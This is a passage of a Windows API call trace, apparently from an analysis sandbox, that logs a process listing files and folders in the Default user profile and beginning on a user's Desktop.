ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0172.755] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0172.755] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6c6021fd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x6c6021fd, ftLastAccessTime.dwHighDateTime=0x1d29fdc, ftLastWriteTime.dwLowDateTime=0x6c6021fd, ftLastWriteTime.dwHighDateTime=0x1d29fdc, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0172.755] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6c6021fd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x6c6021fd, ftLastAccessTime.dwHighDateTime=0x1d29fdc, ftLastWriteTime.dwLowDateTime=0x6c6021fd, ftLastWriteTime.dwHighDateTime=0x1d29fdc, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0172.755] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c4aac40, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x19fa8eb, ftLastAccessTime.dwHighDateTime=0x1d5d811, ftLastWriteTime.dwLowDateTime=0x90f921d9, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.MZ173801", cAlternateFileName="")) returned 1 [0172.755] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.755] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.755] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7dab84ff, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0xacbd1187, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x855f639a, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0172.755] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7ddd9675, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0xacbd1187, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x855d0141, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0172.755] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7de71fdf, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0x855d0141, ftLastAccessTime.dwHighDateTime=0x1d2fa07, ftLastWriteTime.dwLowDateTime=0x855d0141, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0172.755] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b6f06dc, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b6f06dc, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", cAlternateFileName="NTUSER~2.BLF")) returned 1 [0172.755] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b6f06dc, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b6f06dc, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~3.REG")) returned 1 [0172.755] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b716935, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b716935, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~4.REG")) returned 1 [0172.755] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0172.755] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.755] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.755] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0172.755] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.756] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 0 [0172.756] GetLastError () returned 0x12 [0172.756] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0172.756] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0172.756] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.756] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.756] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.756] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0172.756] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.756] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 0 [0172.756] GetLastError () returned 0x12 [0172.756] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0172.756] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0172.756] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0172.756] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0172.756] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.756] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.756] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0172.757] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.757] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 0 [0172.757] GetLastError () returned 0x12 [0172.757] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0172.757] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0172.757] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.757] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.757] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.757] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0172.757] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.757] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 0 [0172.757] GetLastError () returned 0x12 [0172.757] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0172.757] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0172.757] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0172.757] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0172.757] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0172.757] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.757] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.758] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0172.758] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.758] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 0 [0172.758] GetLastError () returned 0x12 [0172.758] FindClose (in: hFindFile=0xa1b738 | out: hFindFile=0xa1b738) returned 1 [0172.758] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0172.758] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.758] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.758] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.758] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0172.758] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.758] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 0 [0172.758] GetLastError () returned 0x12 [0172.758] FindClose (in: hFindFile=0xa1b738 | out: hFindFile=0xa1b738) returned 1 [0172.758] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0172.759] GetLastError () returned 0x12 [0172.759] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0172.759] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0172.759] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0172.759] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0172.759] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\*.*", 